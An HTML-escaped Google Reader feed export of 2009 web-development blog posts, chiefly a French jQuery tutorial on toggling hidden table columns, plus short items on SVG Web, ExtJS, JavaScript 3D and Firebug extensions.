		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;td&lt;/span&gt; &lt;span style="color:#000066"&gt;class&lt;/span&gt;&lt;span style="color:#66cc66"&gt;=&lt;/span&gt;&lt;span style="color:#ff0000"&gt;&amp;quot;hiddenCols&amp;quot;&lt;/span&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;Blabla 4&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;td&amp;gt;&lt;/span&gt;&lt;/span&gt;Blabla 5&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
	&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/tr&amp;gt;&lt;/span&gt;&lt;/span&gt;
	&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;tr&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;td&amp;gt;&lt;/span&gt;&lt;/span&gt;Blabla 1&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;td&lt;/span&gt; &lt;span style="color:#000066"&gt;class&lt;/span&gt;&lt;span style="color:#66cc66"&gt;=&lt;/span&gt;&lt;span style="color:#ff0000"&gt;&amp;quot;hiddenCols&amp;quot;&lt;/span&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;Blabla 2&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;td&amp;gt;&lt;/span&gt;&lt;/span&gt;Blabla 3&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;td&lt;/span&gt; &lt;span style="color:#000066"&gt;class&lt;/span&gt;&lt;span style="color:#66cc66"&gt;=&lt;/span&gt;&lt;span style="color:#ff0000"&gt;&amp;quot;hiddenCols&amp;quot;&lt;/span&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;Blabla 4&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;td&amp;gt;&lt;/span&gt;&lt;/span&gt;Blabla 5&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
	&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/tr&amp;gt;&lt;/span&gt;&lt;/span&gt;
	&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;tr&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;td&amp;gt;&lt;/span&gt;&lt;/span&gt;Blabla 1&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;td&lt;/span&gt; &lt;span style="color:#000066"&gt;class&lt;/span&gt;&lt;span style="color:#66cc66"&gt;=&lt;/span&gt;&lt;span style="color:#ff0000"&gt;&amp;quot;hiddenCols&amp;quot;&lt;/span&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;Blabla 2&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;td&amp;gt;&lt;/span&gt;&lt;/span&gt;Blabla 3&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;td&lt;/span&gt; &lt;span style="color:#000066"&gt;class&lt;/span&gt;&lt;span style="color:#66cc66"&gt;=&lt;/span&gt;&lt;span style="color:#ff0000"&gt;&amp;quot;hiddenCols&amp;quot;&lt;/span&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;Blabla 4&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;td&amp;gt;&lt;/span&gt;&lt;/span&gt;Blabla 5&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
	&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/tr&amp;gt;&lt;/span&gt;&lt;/span&gt;
	&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;tr&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;td&amp;gt;&lt;/span&gt;&lt;/span&gt;Blabla 1&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;td&lt;/span&gt; &lt;span style="color:#000066"&gt;class&lt;/span&gt;&lt;span style="color:#66cc66"&gt;=&lt;/span&gt;&lt;span style="color:#ff0000"&gt;&amp;quot;hiddenCols&amp;quot;&lt;/span&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;Blabla 2&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;td&amp;gt;&lt;/span&gt;&lt;/span&gt;Blabla 3&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;td&lt;/span&gt; &lt;span style="color:#000066"&gt;class&lt;/span&gt;&lt;span style="color:#66cc66"&gt;=&lt;/span&gt;&lt;span style="color:#ff0000"&gt;&amp;quot;hiddenCols&amp;quot;&lt;/span&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;Blabla 4&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;td&amp;gt;&lt;/span&gt;&lt;/span&gt;Blabla 5&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
	&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/tr&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/table&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;

&lt;p&gt;Et enfin le script JavaScript.&lt;/p&gt;
&lt;pre&gt;$&lt;span style="color:#66cc66"&gt;(&lt;/span&gt;document&lt;span style="color:#66cc66"&gt;)&lt;/span&gt;.&lt;span style="color:#006600"&gt;ready&lt;/span&gt;&lt;span style="color:#66cc66"&gt;(&lt;/span&gt;&lt;span style="color:#003366;font-weight:bold"&gt;function&lt;/span&gt;&lt;span style="color:#66cc66"&gt;(&lt;/span&gt;&lt;span style="color:#66cc66"&gt;)&lt;/span&gt;&lt;span style="color:#66cc66"&gt;{&lt;/span&gt;
	$&lt;span style="color:#66cc66"&gt;(&lt;/span&gt;&lt;span style="color:#3366CC"&gt;&amp;quot;a#msg&amp;quot;&lt;/span&gt;&lt;span style="color:#66cc66"&gt;)&lt;/span&gt;.&lt;span style="color:#006600"&gt;click&lt;/span&gt;&lt;span style="color:#66cc66"&gt;(&lt;/span&gt;&lt;span style="color:#003366;font-weight:bold"&gt;function&lt;/span&gt;&lt;span style="color:#66cc66"&gt;(&lt;/span&gt;&lt;span style="color:#66cc66"&gt;)&lt;/span&gt;&lt;span style="color:#66cc66"&gt;{&lt;/span&gt;
		&lt;span style="color:#000066;font-weight:bold"&gt;if&lt;/span&gt; &lt;span style="color:#66cc66"&gt;(&lt;/span&gt;$&lt;span style="color:#66cc66"&gt;(&lt;/span&gt;&lt;span style="color:#3366CC"&gt;&amp;quot;.hiddenCols&amp;quot;&lt;/span&gt;&lt;span style="color:#66cc66"&gt;)&lt;/span&gt;.&lt;span style="color:#006600"&gt;css&lt;/span&gt;&lt;span style="color:#66cc66"&gt;(&lt;/span&gt;&lt;span style="color:#3366CC"&gt;&amp;quot;display&amp;quot;&lt;/span&gt;&lt;span style="color:#66cc66"&gt;)&lt;/span&gt; == &lt;span style="color:#3366CC"&gt;&amp;quot;none&amp;quot;&lt;/span&gt;&lt;span style="color:#66cc66"&gt;)&lt;/span&gt;&lt;span style="color:#66cc66"&gt;{&lt;/span&gt;
			$&lt;span style="color:#66cc66"&gt;(&lt;/span&gt;&lt;span style="color:#3366CC"&gt;&amp;quot;.hiddenCols&amp;quot;&lt;/span&gt;&lt;span style="color:#66cc66"&gt;)&lt;/span&gt;.&lt;span style="color:#006600"&gt;css&lt;/span&gt;&lt;span style="color:#66cc66"&gt;(&lt;/span&gt;&lt;span style="color:#3366CC"&gt;&amp;quot;display&amp;quot;&lt;/span&gt;, &lt;span style="color:#3366CC"&gt;&amp;quot;table-cell&amp;quot;&lt;/span&gt;&lt;span style="color:#66cc66"&gt;)&lt;/span&gt;;
			$&lt;span style="color:#66cc66"&gt;(&lt;/span&gt;&lt;span style="color:#3366CC"&gt;&amp;quot;#msg&amp;quot;&lt;/span&gt;&lt;span style="color:#66cc66"&gt;)&lt;/span&gt;.&lt;span style="color:#006600"&gt;html&lt;/span&gt;&lt;span style="color:#66cc66"&gt;(&lt;/span&gt;&lt;span style="color:#3366CC"&gt;&amp;quot;Vue simplifiée&amp;quot;&lt;/span&gt;&lt;span style="color:#66cc66"&gt;)&lt;/span&gt;;
		&lt;span style="color:#66cc66"&gt;}&lt;/span&gt; &lt;span style="color:#000066;font-weight:bold"&gt;else&lt;/span&gt; &lt;span style="color:#66cc66"&gt;{&lt;/span&gt;
			$&lt;span style="color:#66cc66"&gt;(&lt;/span&gt;&lt;span style="color:#3366CC"&gt;&amp;quot;.hiddenCols&amp;quot;&lt;/span&gt;&lt;span style="color:#66cc66"&gt;)&lt;/span&gt;.&lt;span style="color:#006600"&gt;css&lt;/span&gt;&lt;span style="color:#66cc66"&gt;(&lt;/span&gt;&lt;span style="color:#3366CC"&gt;&amp;quot;display&amp;quot;&lt;/span&gt;, &lt;span style="color:#3366CC"&gt;&amp;quot;none&amp;quot;&lt;/span&gt;&lt;span style="color:#66cc66"&gt;)&lt;/span&gt;;
			$&lt;span style="color:#66cc66"&gt;(&lt;/span&gt;&lt;span style="color:#3366CC"&gt;&amp;quot;#msg&amp;quot;&lt;/span&gt;&lt;span style="color:#66cc66"&gt;)&lt;/span&gt;.&lt;span style="color:#006600"&gt;html&lt;/span&gt;&lt;span style="color:#66cc66"&gt;(&lt;/span&gt;&lt;span style="color:#3366CC"&gt;&amp;quot;Vue détaillée&amp;quot;&lt;/span&gt;&lt;span style="color:#66cc66"&gt;)&lt;/span&gt;;
		&lt;span style="color:#66cc66"&gt;}&lt;/span&gt;
	&lt;span style="color:#66cc66"&gt;}&lt;/span&gt;&lt;span style="color:#66cc66"&gt;)&lt;/span&gt;;
&lt;span style="color:#66cc66"&gt;}&lt;/span&gt;&lt;span style="color:#66cc66"&gt;)&lt;/span&gt;;&lt;/pre&gt;

&lt;p&gt;Le script est assez simple à comprendre. On associe l&amp;#39;événement &amp;quot;click&amp;quot; au lien précédemment crée, puis on effectue une condition sur le sélecteur &amp;quot;.hiddenCols&amp;quot;. Si la valeur de l&amp;#39;attribut &amp;quot;display&amp;quot; est &amp;quot;none&amp;quot;, on modifie la valeur en &amp;quot;table-cell&amp;quot; et le texte associé au lien, sinon on remet la valeur en &amp;quot;none&amp;quot; et le texte &amp;quot;Vue détaillée&amp;quot;. Epicétou, comme dirait l&amp;#39;autre ! Voici la démo disponible &lt;a href="http://vip93fr.free.fr/tableau.html" hreflang="fr"&gt;ici&lt;/a&gt;.&lt;br&gt;
&lt;br&gt;
&lt;strong&gt;"Hey, tu as bien écrit plus haut que c'est &lt;ins&gt;une&lt;/ins&gt; des astuces possibles ?!"&lt;/strong&gt;&lt;br&gt;
&lt;br&gt;
Oui, il existe une autre astuce pour faire la même chose, qui ne nécessite pas l'utilisation de jQuery. Cette astuce consiste à récupérer dans une variable tous les sélecteurs ".hiddenCols" (grâce à &lt;strong&gt;getElementsByClassName('hiddenCols');&lt;/strong&gt; ou &lt;strong&gt;querySelectorAll('.hiddenCols');&lt;/strong&gt;), à faire une boucle sur tous les sélecteurs et effectuer une condition similaire au script mis plus haut. Le hic dans tout ça est qu'il semble y avoir un problème d'implémentation de ces deux fonctions dans IE... Mais bon, tout le monde utilise un vrai navigateur tel que Firefox maintenant, non? :D.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/AkKwGbXUcmB9KeZAlhx4nagq2hc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/AkKwGbXUcmB9KeZAlhx4nagq2hc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/AkKwGbXUcmB9KeZAlhx4nagq2hc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/AkKwGbXUcmB9KeZAlhx4nagq2hc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/neolao-reader-javascript/~4/wx4xvcWpwx8" height="1" width="1"/&gt;</content><author><name>Ced</name></author><source gr:stream-id="feed/http://vip93fr.free.fr/2point0/index.php?feed/atom"><id>tag:google.com,2005:reader/feed/http://vip93fr.free.fr/2point0/index.php?feed/atom</id><title type="html">Mon antre.</title><link rel="alternate" href="http://vip93fr.free.fr/2point0/index.php?" type="text/html" /></source><feedburner:origLink>http://vip93fr.free.fr/2point0/index.php?post/2009/08/29/Afficher/masquer-des-colonnes-d-un-tableau-HTML.</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1250857332016"><id gr:original-id="urn:md5:a4093a09c619ba31f0c4688f0d2a02ad">tag:google.com,2005:reader/item/8a9d871a2318d352</id><category term="Standards" /><title type="html">Google met SVG dans Internet Explorer</title><published>2009-08-21T10:05:00Z</published><updated>2009-08-21T10:05:00Z</updated><link rel="alternate" href="http://feedproxy.google.com/~r/neolao-reader-javascript/~3/4luQZmJWaE0/Google-met-SVG-dans-Internet-Explorer" type="text/html" /><author><name>Tristan</name></author><gr:likingUser>07536226548889710969</gr:likingUser><gr:likingUser>07073916809726571453</gr:likingUser><gr:likingUser>13488600839148304367</gr:likingUser><gr:likingUser>00299191974012727625</gr:likingUser><gr:likingUser>03030385588940822900</gr:likingUser><gr:likingUser>09941086596763503322</gr:likingUser><gr:likingUser>04058687371773313674</gr:likingUser><gr:likingUser>09450312578105693466</gr:likingUser><source gr:stream-id="feed/http://standblog.org/dotclear/rss.php"><id>tag:google.com,2005:reader/feed/http://standblog.org/dotclear/rss.php</id><title type="html">Standblog</title><link rel="alternate" href="http://standblog.org/blog/" type="text/html" /></source><content type="html">&lt;p&gt;Google pousse sous les projecteurs le &lt;a href="http://code.google.com/p/svgweb/" hreflang="en"&gt;projet SVG Web&lt;/a&gt; avec une &lt;a href="http://www.youtube.com/watch?v=XCk22AaRxiE" hreflang="en"&gt;démo spectaculaire en vidéo&lt;/a&gt;. En gros, une bibliothèque JavaScript de 60Ko permet de mettre enfin du SVG dans Internet Explorer. C'est encore en version Alpha, mais c'est super prometteur. Pour les développeurs, &lt;a href="http://www.youtube.com/watch?v=ctuUrvReOIQ" hreflang="en"&gt;Brad Neuberg propose une [vidéo d'une grosse demi-heure sur l'utilisation de SVG dans Internet Explorer avec SVG Web&lt;/a&gt;. On pourra regretter que la solution repose sur Flash 9 (mais des deux maux, ils faut choisir le moindre !).&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/LpJECGvwYVSeY8Ohqx5iOjnlp2g/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/LpJECGvwYVSeY8Ohqx5iOjnlp2g/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/LpJECGvwYVSeY8Ohqx5iOjnlp2g/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/LpJECGvwYVSeY8Ohqx5iOjnlp2g/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/neolao-reader-javascript/~4/4luQZmJWaE0" height="1" width="1"/&gt;</content><feedburner:origLink>http://standblog.org/blog/post/2009/08/21/Google-met-SVG-dans-Internet-Explorer</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1248955105363"><id gr:original-id="296 at http://wiip.fr">tag:google.com,2005:reader/item/deaf78c6d8b04efd</id><category term="ExtJS" scheme="http://wiip.fr/category/etiquettes/extjs" /><category term="Javascript" scheme="http://wiip.fr/category/etiquettes/javascript" /><title type="html">Ext.EventObject.getRelatedTarget</title><published>2009-07-30T06:39:12Z</published><updated>2009-07-30T06:39:12Z</updated><link rel="alternate" href="http://feedproxy.google.com/~r/neolao-reader-javascript/~3/xoYj7Iam1jM/ext-eventobject-getrelatedtarget" type="text/html" /><author><name>Maxence Delannoy</name></author><source gr:stream-id="feed/http://wiip.fr/rss.xml"><id>tag:google.com,2005:reader/feed/http://wiip.fr/rss.xml</id><title type="html">WIIP</title><link rel="alternate" href="http://wiip.fr" type="text/html" /></source><content type="html">&lt;p&gt;Il m&amp;#39;a fallu un peu chercher pour savoir à quoi sert cette méthode. La documentation d&amp;#39;ExtJS n&amp;#39;est en effet pas très explicite :&lt;/p&gt;

&lt;img alt="La documentation de Ext.EventObject.getRelatedTarget" src="http://wiip.fr/sites/default/files/get-related-target.png" width="264" height="61"&gt;

&lt;p&gt;C'est là qu'on se rend compte qu'à force d'utiliser des bibliothèques Javascript pour éviter les problèmes de compatibilité entre les navigateurs, on en oublie les bases, c'est à dire le DOM. &lt;em&gt;relatedTarget&lt;/em&gt; est en fait un attribut des événements DOM qui contient dans le cadre d'un événement &lt;em&gt;mouseenter&lt;/em&gt; une référence à l'élément que la souris vient de quitter. Pour un événement &lt;em&gt;mouseout&lt;/em&gt;, c'est l'élément dans lequel la souris vient d'entrer.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://wiip.fr/content/ext-eventobject-getrelatedtarget"&gt;en lire plus&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/M4iAodPGksL6QDytfw_my31Iuxo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/M4iAodPGksL6QDytfw_my31Iuxo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/M4iAodPGksL6QDytfw_my31Iuxo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/M4iAodPGksL6QDytfw_my31Iuxo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/neolao-reader-javascript/~4/xoYj7Iam1jM" height="1" width="1"/&gt;</content><feedburner:origLink>http://wiip.fr/content/ext-eventobject-getrelatedtarget</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1247822754251"><id gr:original-id="http://www.hebiflux.com/blog/?p=4886">tag:google.com,2005:reader/item/7efdf65b492fe450</id><category term="3D sur le web / web3D" /><title type="html">De Sandy3D au Javascript sous Chrome… à FlaHx3D</title><published>2009-07-17T08:09:06Z</published><updated>2009-07-17T08:09:06Z</updated><link rel="alternate" href="http://feedproxy.google.com/~r/neolao-reader-javascript/~3/aYfT0-bcfbY/" type="text/html" /><content xml:base="http://www.hebiflux.com/blog" type="html">&lt;p&gt;&lt;img src="http://www.hebiflux.com/blog/images//2009/07/sandy.jpg" alt="sandy" title="sandy" width="470" height="163"&gt;&lt;/p&gt;
&lt;p&gt;Impressionnant portage de Sandy3D / Haxe (SandyHX pour les intimes) en Javascript, disponible &lt;a href="http://www.chromeexperiments.com/detail/3d-javascript-with-sandy-hx/"&gt;en démo avec un Google Chrome&lt;/a&gt; et dont nous trouverons toutes &lt;a href="http://www.brighthub.com/internet/web-development/articles/41586.aspx"&gt;les explications techniques ici&lt;/a&gt; et d’autres démos &lt;a href="http://www.brighthub.com/hubfolio/matthew-casperson/blog/archive/2009/07/08/flash-and-javascript-3d-with-sandy-hx.aspx"&gt;sur le hubfolio de Matthew Casperson&lt;/a&gt; : oui, oui, &lt;strong&gt;un moteur 3D qui affiche bien un meshe uniquement en Javascript dans la page web…&lt;/strong&gt; Contrairement &lt;a href="http://www.hebiflux.com/blog/2009/02/20/de-la-3d-en-javascript-what/"&gt;à cet exemple&lt;/a&gt; de février dernier, ici, le code JS ou flash est identique. &lt;/p&gt;
&lt;p&gt;Le seul écueil reste qu’il n’est accessible qu’au travers du navigateur de Google…&lt;/p&gt;
&lt;p&gt;&lt;img src="http://www.hebiflux.com/blog/images//2009/07/demomd2.jpg" alt="demomd2" title="demomd2" width="470" height="275"&gt;&lt;/p&gt;
&lt;p&gt;Mais alors que devient Sandy3D qui migre petit à petit vers Haxe ? Je viens de tomber &lt;a href="http://www.pixelsalad.org/blog/projets/flashx3d"&gt;sur le nouveau blog de son papa&lt;/a&gt;, qui se lance dans un nouveau moteur Flash10 / Haxe pour le jeu pouvant cibler différentes plateformes à terme, nommé temporairement &lt;strong&gt;FlaHx3D&lt;/strong&gt;. Au vu &lt;a href="http://www.pixelsalad.org/blog/flashx3d-demo-avec-modele-md2.html#more-35"&gt;des premières démos&lt;/a&gt; de février dernier avec un fichier md2 animé, cela risque d’en intéresser plus d’un…&lt;/p&gt;
 &lt;img src="http://www.hebiflux.com/blog/wp-content/plugins/feed-statistics.php?view=1&amp;amp;post_id=4886" width="1" height="1"&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/UjpRg58ikXPnmqLNdbaaftNaxGY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/UjpRg58ikXPnmqLNdbaaftNaxGY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/UjpRg58ikXPnmqLNdbaaftNaxGY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/UjpRg58ikXPnmqLNdbaaftNaxGY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/neolao-reader-javascript/~4/aYfT0-bcfbY" height="1" width="1"/&gt;</content><author><name>Galdric</name></author><gr:likingUser>14605695922387252289</gr:likingUser><source gr:stream-id="feed/http://www.hebiflux.com/blog/feed/"><id>tag:google.com,2005:reader/feed/http://www.hebiflux.com/blog/feed/</id><title type="html">Hebiflux</title><link rel="alternate" href="http://www.hebiflux.com/blog" type="text/html" /></source><feedburner:origLink>http://www.hebiflux.com/blog/2009/07/17/de-sandy3d-au-js-a-flahx3d/</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1245669636014"><id gr:original-id="http://sixrevisions.com/?p=1117">tag:google.com,2005:reader/item/2901edbe42fd5d2f</id><category term="Web Development" /><title type="html">10 Useful Firefox Extensions to Supercharge Firebug</title><published>2009-06-20T18:13:35Z</published><updated>2009-06-20T18:13:35Z</updated><link rel="alternate" href="http://feedproxy.google.com/~r/neolao-reader-javascript/~3/4T6bx9CVsSY/" type="text/html" /><content xml:base="http://sixrevisions.com/" type="html">&lt;p&gt;&lt;a href="http://getfirebug.com/"&gt;Firebug&lt;/a&gt; is a  revolutionary Firefox extension that helps web developers and designers test  and inspect front-end code. It provides us with many useful features such as a  console panel for logging information, a DOM inspector, detailed information  about page elements, and much more.&lt;/p&gt;
&lt;p&gt;Though Firebug is already fully packed with features out of  the box, several extensions out there can enhance its utility. In this article,  you will find &lt;strong&gt;the 10 best Firefox  extensions for Firebug&lt;/strong&gt; that will make your life, as a developer or designer,  easier. &lt;/p&gt;
&lt;h3&gt;1. &lt;a href="http://www.pixelperfectplugin.com/"&gt;Pixel Perfect&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="http://www.pixelperfectplugin.com/"&gt;&lt;img src="http://images.sixrevisions.com/2009/06/23-01_pixelperfect.png" width="550" height="270" alt="Pixel Perfect"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Pixel Perfect&lt;/em&gt; allows you to overlay web layouts and other design compositions onto a web page  so that you can accurately (and easily) write your CSS and HTML. By being able  to toggle a web composition on or off, web developers and designers can have a  visual guide for pixel-perfect accuracy of the position and dimensions of web  page components. Check out the &lt;a href="http://pixelperfectplugin.com/how-to-use/video/" title="Video: Pixel Perfect Firefox Extension"&gt;video demonstration&lt;/a&gt; to Pixel  Perfect in action.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/downloads/latest/7943"&gt;Install  Pixel Perfect&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. &lt;a href="http://code.google.com/speed/page-speed/"&gt;Page  Speed&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="http://code.google.com/speed/page-speed/"&gt;&lt;img src="http://images.sixrevisions.com/2009/06/23-02_pagespeed.png" width="550" height="270" alt="Page Speed"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Page Speed&lt;/em&gt; is an  open source Firebug add-on for evaluating web page performance, giving  developers suggestions on front-end performance optimizations they can carry  out. Tests and evaluations are based on Google’s &lt;a href="http://code.google.com/speed/page-speed/docs/rules_intro.html"&gt;Web  Performance Best Practices&lt;/a&gt; developed through &lt;a href="http://www.amazon.com/gp/product/0596529309?ie=UTF8&amp;amp;tag=stevsoud-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;creativeASIN=0596529309"&gt;Steve  Sounder’s work&lt;/a&gt;. Make sure to read the &lt;a href="http://code.google.com/speed/page-speed/docs/using.html"&gt;Page Speed user  guide&lt;/a&gt; for complete documentation of its many features.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dl-ssl.google.com/page-speed/current/page-speed.xpi"&gt;Install Page  Speed&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. &lt;a href="http://tools.sitepoint.com/codeburner/"&gt;CodeBurner&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="http://tools.sitepoint.com/codeburner/"&gt;&lt;img src="http://images.sixrevisions.com/2009/06/23-03_codeburner.png" width="550" height="270" alt="CodeBurner"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;CodeBurner&lt;/em&gt;,  released by &lt;a href="http://www.sitepoint.com/"&gt;SitePoint&lt;/a&gt;, extends Firebug  to provide a built-in HTML and CSS reference. The extension also presents  contextual information based on what is currently in Firebug’s CSS and HTML  panels. The references are very helpful, showing you information about browser  compatibility and W3C Recommendation compliance of page elements, among many  other types of information.&lt;/p&gt;
&lt;ul&gt;
